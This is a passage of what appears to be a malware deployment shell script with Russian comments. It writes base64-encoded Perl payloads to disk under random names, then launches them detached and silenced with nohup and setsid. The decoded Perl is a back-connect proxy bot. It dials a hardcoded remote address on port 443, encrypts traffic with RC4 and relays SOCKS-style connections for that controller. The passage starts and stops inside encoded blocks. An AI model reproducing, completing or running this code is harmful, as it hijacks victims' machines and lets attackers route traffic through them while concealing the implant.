CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #30 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #30 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 31 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl 